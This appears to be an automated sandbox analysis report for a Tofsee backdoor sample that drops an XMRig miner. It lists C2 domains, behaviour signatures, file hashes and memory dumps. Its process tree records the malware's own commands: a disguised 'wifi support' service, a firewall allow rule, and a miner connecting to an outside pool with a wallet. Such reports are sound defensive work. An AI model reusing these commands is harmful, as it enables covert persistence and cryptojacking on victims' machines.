Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/12/2022, 07:00

General

  • Target
    file.exe
  • Size 297KB
  • Sample221227-hsnvdsed58
  • SHA256 04cb3842669d80bb4eccff120f6fe00a480dc577035ca3a0cd37c351c3e61787
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tmwbnhvr\
      2⤵
        PID:3448
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ncqngmil.exe" C:\Windows\SysWOW64\tmwbnhvr\
        2⤵
          PID:556
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tmwbnhvr binPath= "C:\Windows\SysWOW64\tmwbnhvr\ncqngmil.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tmwbnhvr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3820
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tmwbnhvr
          2⤵
          • Launches sc.exe
          PID:2128
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4736
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 1288
          2⤵
          • Program crash
          PID:1828
      • C:\Windows\SysWOW64\tmwbnhvr\ncqngmil.exe
        C:\Windows\SysWOW64\tmwbnhvr\ncqngmil.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4792
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:564
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4392
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 524
          2⤵
          • Program crash
          PID:1596
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1724 -ip 1724
        1⤵
          PID:4820
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4792 -ip 4792
          1⤵
            PID:1124

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                ncqngmil.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ncqngmil.exe
                • Size 13.8MB
                • SHA256 795eb121ebbef05aa3e97554daa8c9ff7713085d50b46a637829906cf38e889d
                • MD5 SHA1 SHA512 SSDEEP

                ncqngmil.exe

                • Path C:\Windows\SysWOW64\tmwbnhvr\ncqngmil.exe
                • Size 13.8MB
                • SHA256 795eb121ebbef05aa3e97554daa8c9ff7713085d50b46a637829906cf38e889d
                • MD5 SHA1 SHA512 SSDEEP

                memory/564-159-0x00000000017D0000-0x00000000017E0000-memory.dmp

                memory/564-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/564-165-0x0000000007000000-0x000000000740B000-memory.dmp

                memory/564-162-0x00000000017E0000-0x00000000017E5000-memory.dmp

                memory/564-156-0x00000000017C0000-0x00000000017C6000-memory.dmp

                memory/564-168-0x00000000017F0000-0x00000000017F7000-memory.dmp

                memory/564-152-0x0000000000240000-0x0000000000255000-memory.dmp

                memory/564-151-0x0000000000240000-0x0000000000255000-memory.dmp

                memory/564-146-0x0000000000240000-0x0000000000255000-memory.dmp

                memory/1724-144-0x0000000000400000-0x000000000044E000-memory.dmp

                memory/1724-143-0x000000000068F000-0x00000000006A5000-memory.dmp

                memory/1724-133-0x0000000002190000-0x00000000021A3000-memory.dmp

                memory/1724-132-0x000000000068F000-0x00000000006A5000-memory.dmp

                memory/1724-134-0x0000000000400000-0x000000000044E000-memory.dmp

                memory/4392-172-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/4392-177-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/4792-150-0x0000000000400000-0x000000000044E000-memory.dmp

                memory/4792-149-0x000000000071A000-0x000000000072F000-memory.dmp